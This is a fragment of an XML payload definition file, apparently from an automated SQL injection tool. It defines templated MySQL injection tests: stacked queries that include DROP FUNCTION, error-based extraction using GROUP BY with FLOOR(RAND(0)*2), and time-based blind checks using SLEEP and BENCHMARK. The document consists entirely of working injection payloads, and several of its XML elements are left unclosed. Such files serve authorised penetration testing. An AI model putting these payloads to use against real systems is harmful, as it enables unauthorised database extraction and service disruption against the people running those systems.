<vector>; IF(([INFERENCE]),SELECT [RANDNUM],DROP FUNCTION [RANDSTR]);</vector>

<request>

<payload>; IF(([RANDNUM]=[RANDNUM]),SELECT [RANDNUM],DROP FUNCTION [RANDSTR]);</payload>

</request>

<response>

<comparison>; IF(([RANDNUM]=[RANDNUM1]),SELECT [RANDNUM],DROP FUNCTION [RANDSTR]);</comparison>

<vector>OR 1 GROUP BY CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]',FLOOR(RAND(0)*2)) HAVING MIN(0)</vector>

<request>

<payload>OR 1 GROUP BY CONCAT('[DELIMITER_START]',(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)),'[DELIMITER_STOP]',FLOOR(RAND(0)*2)) HAVING MIN(0)</payload>

</request>

<response>

<grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>

<test>

<title>MySQL &gt; 5.0.11 stacked queries</title>

<stype>4</stype>

<risk>0</risk>

<clause>0</clause>

<where>1</where>

<vector>; IF(([INFERENCE]),SLEEP([SLEEPTIME]),[RANDNUM]);</vector>

<request>

<payload>; SELECT SLEEP([SLEEPTIME]);</payload>

</request>

<response>

<time>[SLEEPTIME]</time>

<test>

<title>MySQL &lt; 5.0.12 stacked queries (heavy query)</title>

<stype>4</stype>

<risk>2</risk>

<clause>0</clause>

<where>1</where>

<vector>; IF(([INFERENCE]),BENCHMARK([SLEEPTIME]000000,MD5('[RANDSTR]')),[RANDNUM]);</vector>

<request>

<payload>; SELECT BENCHMARK([SLEEPTIME]000000,MD5('[RANDSTR]'));</payload>

</request>

<response>

<time>[DELAYED]</time>

<vector>AND [RANDNUM]=IF(([INFERENCE]),SLEEP([SLEEPTIME]),[RANDNUM])</vector>

<request>

<payload>AND SLEEP([SLEEPTIME])</payload>

</request>

<response>

<time>[SLEEPTIME]</time>

<vector>AND [RANDNUM]=IF(([INFERENCE]),BENCHMARK([SLEEPTIME]000000,MD5('[RANDSTR]')),[RANDNUM])</vector>

<request>

<payload>AND [RANDNUM]=BENCHMARK([SLEEPTIME]000000,MD5('[RANDSTR]'))</payload>

</request>

<response>

<time>[DELAYED]</time>